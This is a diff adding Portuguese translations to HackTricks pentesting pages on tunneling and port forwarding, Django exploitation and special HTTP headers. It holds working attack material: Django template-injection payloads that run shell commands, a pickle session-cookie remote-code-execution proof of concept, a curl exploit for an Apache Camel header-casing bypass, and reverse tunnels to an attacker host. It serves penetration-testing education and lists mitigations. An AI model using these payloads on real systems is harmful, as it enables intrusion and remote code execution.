Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

src/generic-hacking/tunneling-and-port-forwarding.md

@@ -1,4 +1,4 @@
-# Tunneling e Encaminhamento de Portas
+# Tunneling and Port Forwarding
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
 ```
 > [!NOTE]
 > **Segurança – Ataque Terrapin (CVE-2023-48795)**
-> O ataque de downgrade Terrapin de 2023 pode permitir que um homem-no-meio interfira no início do handshake SSH e injete dados em **qualquer canal encaminhado** ( `-L`, `-R`, `-D` ). Certifique-se de que tanto o cliente quanto o servidor estejam corrigidos (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ou desative explicitamente os algoritmos vulneráveis `chacha20-poly1305@openssh.com` e `*-etm@openssh.com` em `sshd_config`/`ssh_config` antes de confiar em túneis SSH. citeturn4search0
+> O ataque de downgrade Terrapin de 2023 pode permitir que um homem-no-meio interfira no início do handshake SSH e injete dados em **qualquer canal encaminhado** ( `-L`, `-R`, `-D` ). Certifique-se de que tanto o cliente quanto o servidor estejam corrigidos (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ou desative explicitamente os algoritmos vulneráveis `chacha20-poly1305@openssh.com` e `*-etm@openssh.com` em `sshd_config`/`ssh_config` antes de confiar em túneis SSH.
 
 ## SSHUTTLE
 
@@ -156,14 +156,14 @@ rportfwd stop [bind port]
 ```
 Para notar:
 
-- O **reencaminhamento de porta reversa do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para relatar entre máquinas individuais**.
+- O **reverso de porta do Beacon** é projetado para **túnel de tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
 - O tráfego é **tuneado dentro do tráfego C2 do Beacon**, incluindo links P2P.
-- **Privilégios de administrador não são necessários** para criar reencaminhamentos de porta reversa em portas altas.
+- **Privilégios de administrador não são necessários** para criar reversos de porta em portas altas.
 
 ### rPort2Port local
 
 > [!WARNING]
-> Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado.
+> Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe, e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e de lá para o host:porta indicado.
 ```bash
 rportfwd_local [bind port] [forward host] [forward port]
 rportfwd_local stop [bind port]
@@ -348,7 +348,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
 Você precisa ter **acesso RDP sobre o sistema**.\
 Baixe:
 
-1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta usa `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. DVC é responsável por **tunneling de pacotes sobre a conexão RDP**.
+1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. DVC é responsável por **tunneling de pacotes sobre a conexão RDP**.
 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
 
 No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
@@ -394,7 +394,7 @@ Domain CONTOSO.COM
 Proxy 10.0.0.10:8080
 Tunnel 2222:<attackers_machine>:443
 ```
-Agora, se você configurar, por exemplo, no alvo, o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
+Agora, se você configurar, por exemplo, o serviço **SSH** na vítima para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\
 Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222.
 
 ## YARP
@@ -444,7 +444,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
 ```
 #### Mudar o DNS do proxychains
 
-Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
+Proxychains intercepta a chamada `gethostbyname` da libc e encaminha a solicitação de DNS tcp através do proxy socks. Por **padrão**, o servidor **DNS** que o proxychains usa é **4.2.2.2** (hardcoded). Para mudá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um **ambiente Windows**, pode definir o IP do **controlador de domínio**.
 
 ## Túneis em Go
 
@@ -513,12 +513,12 @@ _É também possível adicionar autenticação e TLS, se necessário._
 ./ngrok http file:///tmp/httpbin/
 # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
 ```
-#### Sniffing HTTP calls
+#### Capturando chamadas HTTP
 
 _Utilizado para XSS, SSRF, SSTI ..._\
 Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
 
-#### Tunneling internal HTTP service
+#### Tunelando serviço HTTP interno
 ```bash
 ./ngrok http localhost:8080 --host-header=rewrite
 # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
@@ -572,11 +572,11 @@ Inicie o conector:
 ```bash
 cloudflared tunnel run mytunnel
 ```
-Porque todo o tráfego sai do host **para fora pela porta 443**, os túneis Cloudflared são uma maneira simples de contornar ACLs de entrada ou limites de NAT. Esteja ciente de que o binário geralmente é executado com privilégios elevados – use contêineres ou a flag `--user` quando possível. citeturn1search0
+Porque todo o tráfego sai do host **saindo pela porta 443**, os túneis Cloudflared são uma maneira simples de contornar ACLs de entrada ou limites de NAT. Esteja ciente de que o binário geralmente é executado com privilégios elevados – use contêineres ou a flag `--user` quando possível.
 
 ## FRP (Fast Reverse Proxy)
 
-[`frp`](https://github.com/fatedier/frp) é um proxy reverso em Go que é mantido ativamente e suporta **TCP, UDP, HTTP/S, SOCKS e P2P NAT-hole-punching**. A partir da versão **v0.53.0 (Maio de 2024)**, ele pode atuar como um **Gateway de Túnel SSH**, permitindo que um host alvo crie um túnel reverso usando apenas o cliente OpenSSH padrão – nenhum binário extra é necessário.
+[`frp`](https://github.com/fatedier/frp) é um proxy reverso em Go que é mantido ativamente e suporta **TCP, UDP, HTTP/S, SOCKS e P2P NAT-hole-punching**. A partir da **v0.53.0 (Maio de 2024)**, ele pode atuar como um **Gateway de Túnel SSH**, permitindo que um host alvo crie um túnel reverso usando apenas o cliente OpenSSH padrão – nenhum binário extra é necessário.
 
 ### Túnel TCP reverso clássico
 ```bash
@@ -606,7 +606,7 @@ sshTunnelGateway.bindPort = 2200   # add to frps.toml
 # On victim (OpenSSH client only)
 ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
 ```
-O comando acima publica a porta da vítima **8080** como **attacker_ip:9000** sem implantar nenhuma ferramenta adicional – ideal para pivotar vivendo da terra. citeturn2search1
+O comando acima publica a porta da vítima **8080** como **attacker_ip:9000** sem implantar nenhuma ferramenta adicional – ideal para pivotar vivendo da terra.
 
 ## Outras ferramentas para verificar
 

src/network-services-pentesting/pentesting-web/django.md

@@ -5,8 +5,75 @@
 ## Manipulação de Cache para RCE
 O método de armazenamento de cache padrão do Django é [Python pickles](https://docs.python.org/3/library/pickle.html), que pode levar a RCE se [entrada não confiável for descompactada](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se um atacante conseguir obter acesso de gravação ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente**.
 
-O cache do Django é armazenado em um dos quatro lugares: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memória](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [arquivos](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [banco de dados](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar o cache baseado em arquivos para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação.
+O cache do Django é armazenado em um dos quatro lugares: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memória](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [arquivos](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [banco de dados](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar cache baseado em arquivos para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação.
 
 Este relatório do HackerOne fornece um ótimo exemplo reproduzível de exploração do cache do Django armazenado em um banco de dados SQLite: https://hackerone.com/reports/1415436
 
+---
+
+## Injeção de Template do Lado do Servidor (SSTI)
+A Linguagem de Template do Django (DTL) é **Turing-completa**. Se dados fornecidos pelo usuário forem renderizados como uma *string de template* (por exemplo, chamando `Template(user_input).render()` ou quando `|safe`/`format_html()` remove a auto-escapagem), um atacante pode alcançar SSTI total → RCE.
+
+### Detecção
+1. Procure por chamadas dinâmicas para `Template()` / `Engine.from_string()` / `render_to_string()` que incluam *qualquer* dado de solicitação não sanitizado.
+2. Envie uma carga útil baseada em tempo ou aritmética:
+```django
+{{7*7}}
+```
+Se a saída renderizada contiver `49`, a entrada é compilada pelo mecanismo de template.
+
+### Primitiva para RCE
+O Django bloqueia o acesso direto a `__import__`, mas o gráfico de objetos Python é acessível:
+```django
+{{''.__class__.mro()[1].__subclasses__()}}
+```
+Encontre o índice de `subprocess.Popen` (≈400–500 dependendo da versão do Python) e execute comandos arbitrários:
+```django
+{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
+```
+Um dispositivo universal mais seguro é iterar até `cls.__name__ == 'Popen'`.
+
+O mesmo dispositivo funciona para recursos de renderização de template do **Debug Toolbar** ou **Django-CMS** que manipulam incorretamente a entrada do usuário.
+
+---
+
+## RCE de Cookie de Sessão Baseado em Pickle
+Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver habilitada (ou um serializador personalizado que desserializa pickle), o Django *descriptografa e desempacota* o cookie de sessão **antes** de chamar qualquer código de visualização. Portanto, possuir uma chave de assinatura válida (a `SECRET_KEY` do projeto por padrão) é suficiente para execução remota imediata de código.
+
+### Requisitos para Exploração
+* O servidor usa `PickleSerializer`.
+* O atacante conhece / pode adivinhar `settings.SECRET_KEY` (vazamentos via GitHub, `.env`, páginas de erro, etc.).
+
+### Prova de Conceito
+```python
+#!/usr/bin/env python3
+from django.contrib.sessions.serializers import PickleSerializer
+from django.core import signing
+import os, base64
+
+class RCE(object):
+def __reduce__(self):
+return (os.system, ("id > /tmp/pwned",))
+
+mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
+print(f"sessionid={mal}")
+```
+Envie o cookie resultante, e o payload é executado com as permissões do trabalhador WSGI.
+
+**Mitigações**: Mantenha o `JSONSerializer` padrão, gire o `SECRET_KEY` e configure `SESSION_COOKIE_HTTPONLY`.
+
+---
+
+## Recentes (2023-2025) CVEs de Alto Impacto do Django que os Pentesters Devem Verificar
+* **CVE-2025-48432** – *Injeção de Log via `request.path` não escapado* (corrigido em 4 de junho de 2025). Permite que atacantes insiram quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de log a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Injeção SQL crítica* em `QuerySet.values()/values_list()` no `JSONField` (CVSS 9.8). Crie chaves JSON para sair da citação e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.
+
+Sempre identifique a versão exata do framework via a página de erro `X-Frame-Options` ou o hash de `/static/admin/css/base.css` e teste o acima onde aplicável.
+
+---
+
+## Referências
+* Lançamento de segurança do Django – "Django 5.2.2, 5.1.10, 4.2.22 abordam CVE-2025-48432" – 4 de junho de 2025.
+* OP-Innovate: "Django lança atualizações de segurança para abordar falha de injeção SQL CVE-2024-42005" – 11 de agosto de 2024.
+
 {{#include /banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/special-http-headers.md

@@ -35,7 +35,7 @@ Rewrite **location**:
 
 ## Hop-by-Hop headers
 
-Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e consumido pelo proxy que está lidando com a solicitação, ao contrário de um cabeçalho de ponta a ponta.
+Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e consumido pelo proxy que está lidando com a solicitação, em vez de um cabeçalho de ponta a ponta.
 
 - `Connection: close, X-Forwarded-For`
 
@@ -83,7 +83,7 @@ Um cabeçalho hop-by-hop é um cabeçalho que é projetado para ser processado e
 ## Range requests
 
 - **`Accept-Ranges`**: Indica se o servidor suporta solicitações de intervalo e, se sim, em qual unidade o intervalo pode ser expresso. `Accept-Ranges: <range-unit>`
-- **`Range`**: Indica a parte de um documento que o servidor deve retornar. Por exemplo, `Range:80-100` retornará os bytes 80 a 100 da resposta original com um código de status 206 Partial Content. Também lembre-se de remover o cabeçalho `Accept-Encoding` da solicitação.
+- **`Range`**: Indica a parte de um documento que o servidor deve retornar. Por exemplo, `Range:80-100` retornará os bytes 80 a 100 da resposta original com um código de status de 206 Partial Content. Também lembre-se de remover o cabeçalho `Accept-Encoding` da solicitação.
 - Isso pode ser útil para obter uma resposta com código JavaScript refletido arbitrário que, de outra forma, poderia ser escapado. Mas para abusar disso, você precisaria injetar esses cabeçalhos na solicitação.
 - **`If-Range`**: Cria uma solicitação de intervalo condicional que só é atendida se o etag ou a data fornecidos corresponderem ao recurso remoto. Usado para evitar o download de dois intervalos de versões incompatíveis do recurso.
 - **`Content-Range`**: Indica onde em uma mensagem de corpo completo uma mensagem parcial pertence.
@@ -109,7 +109,7 @@ Por exemplo, uma combinação de **`Range`** e **`Etag`** em uma solicitação H
 ## Controls
 
 - **`Allow`**: Este cabeçalho é usado para comunicar os métodos HTTP que um recurso pode manipular. Por exemplo, pode ser especificado como `Allow: GET, POST, HEAD`, indicando que o recurso suporta esses métodos.
-- **`Expect`**: Utilizado pelo cliente para transmitir expectativas que o servidor precisa atender para que a solicitação seja processada com sucesso. Um caso de uso comum envolve o cabeçalho `Expect: 100-continue`, que sinaliza que o cliente pretende enviar um grande payload de dados. O cliente aguarda uma resposta `100 (Continue)` antes de prosseguir com a transmissão. Esse mecanismo ajuda a otimizar o uso da rede, aguardando a confirmação do servidor.
+- **`Expect`**: Utilizado pelo cliente para transmitir expectativas que o servidor precisa atender para que a solicitação seja processada com sucesso. Um caso de uso comum envolve o cabeçalho `Expect: 100-continue`, que sinaliza que o cliente pretende enviar um grande volume de dados. O cliente aguarda uma resposta `100 (Continue)` antes de prosseguir com a transmissão. Esse mecanismo ajuda a otimizar o uso da rede, aguardando a confirmação do servidor.
 
 ## Downloads
 
@@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
 ```
 ### **X-Content-Type-Options**
 
-Este cabeçalho impede a detecção de tipo MIME, uma prática que pode levar a vulnerabilidades XSS. Ele garante que os navegadores respeitem os tipos MIME especificados pelo servidor.
+Este cabeçalho previne a detecção de tipo MIME, uma prática que pode levar a vulnerabilidades XSS. Ele garante que os navegadores respeitem os tipos MIME especificados pelo servidor.
 ```
 X-Content-Type-Options: nosniff
 ```
@@ -175,12 +175,47 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
 ```
 ### **HTTP Strict Transport Security (HSTS)**
 
-Por fim, HSTS é um recurso de segurança que força os navegadores a se comunicarem com os servidores apenas por meio de conexões HTTPS seguras, melhorando assim a privacidade e a segurança.
+Por fim, o HSTS é um recurso de segurança que força os navegadores a se comunicarem com os servidores apenas por meio de conexões HTTPS seguras, melhorando assim a privacidade e a segurança.
 ```
 Strict-Transport-Security: max-age=3153600
 ```
+## Header Name Casing Bypass
+
+HTTP/1.1 define os nomes dos campos de cabeçalho como **case-insensitive** (RFC 9110 §5.1). No entanto, é muito comum encontrar middleware personalizado, filtros de segurança ou lógica de negócios que comparam o nome do cabeçalho *literal* recebido sem normalizar a capitalização primeiro (por exemplo, `header.equals("CamelExecCommandExecutable")`). Se essas verificações forem realizadas **case-sensitively**, um atacante pode contorná-las simplesmente enviando o mesmo cabeçalho com uma capitalização diferente.
+
+Situações típicas onde esse erro aparece:
+
+* Listas de permissão/negação personalizadas que tentam bloquear cabeçalhos internos "perigosos" antes que a solicitação chegue a um componente sensível.
+* Implementações internas de pseudo-cabeçalhos de reverse-proxy (por exemplo, sanitização de `X-Forwarded-For`).
+* Frameworks que expõem endpoints de gerenciamento / depuração e dependem de nomes de cabeçalho para autenticação ou seleção de comandos.
+
+### Abusando o bypass
+
+1. Identifique um cabeçalho que é filtrado ou validado no lado do servidor (por exemplo, lendo código-fonte, documentação ou mensagens de erro).
+2. Envie o **mesmo cabeçalho com uma capitalização diferente** (misturada ou em maiúsculas). Como as pilhas HTTP geralmente canonicizam cabeçalhos apenas *depois* que o código do usuário foi executado, a verificação vulnerável pode ser pulada.
+3. Se o componente downstream tratar cabeçalhos de forma case-insensitive (a maioria faz), ele aceitará o valor controlado pelo atacante.
+
+### Exemplo: Apache Camel `exec` RCE (CVE-2025-27636)
+
+Em versões vulneráveis do Apache Camel, as rotas do *Command Center* tentam bloquear solicitações não confiáveis removendo os cabeçalhos `CamelExecCommandExecutable` e `CamelExecCommandArgs`. A comparação foi feita com `equals()`, então apenas os nomes exatos em minúsculas foram removidos.
+```bash
+# Bypass the filter by using mixed-case header names and execute `ls /` on the host
+curl "http://<IP>/command-center" \
+-H "CAmelExecCommandExecutable: ls" \
+-H "CAmelExecCommandArgs: /"
+```
+Os cabeçalhos chegam ao componente `exec` sem filtragem, resultando na execução remota de comandos com os privilégios do processo Camel.
+
+### Detecção e Mitigação
+
+* Normalize todos os nomes de cabeçalho para um único caso (geralmente minúsculas) **antes** de realizar comparações de permissão/rejeição.
+* Rejeite duplicatas suspeitas: se tanto `Header:` quanto `HeAdEr:` estiverem presentes, trate como uma anomalia.
+* Use uma lista de permissão positiva aplicada **após** a canonização.
+* Proteja os endpoints de gerenciamento com autenticação e segmentação de rede.
+
 ## Referências
 
+- [CVE-2025-27636 – RCE em Apache Camel via bypass de casing de cabeçalho (blog OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
 - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
 - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
 - [https://web.dev/security-headers/](https://web.dev/security-headers/)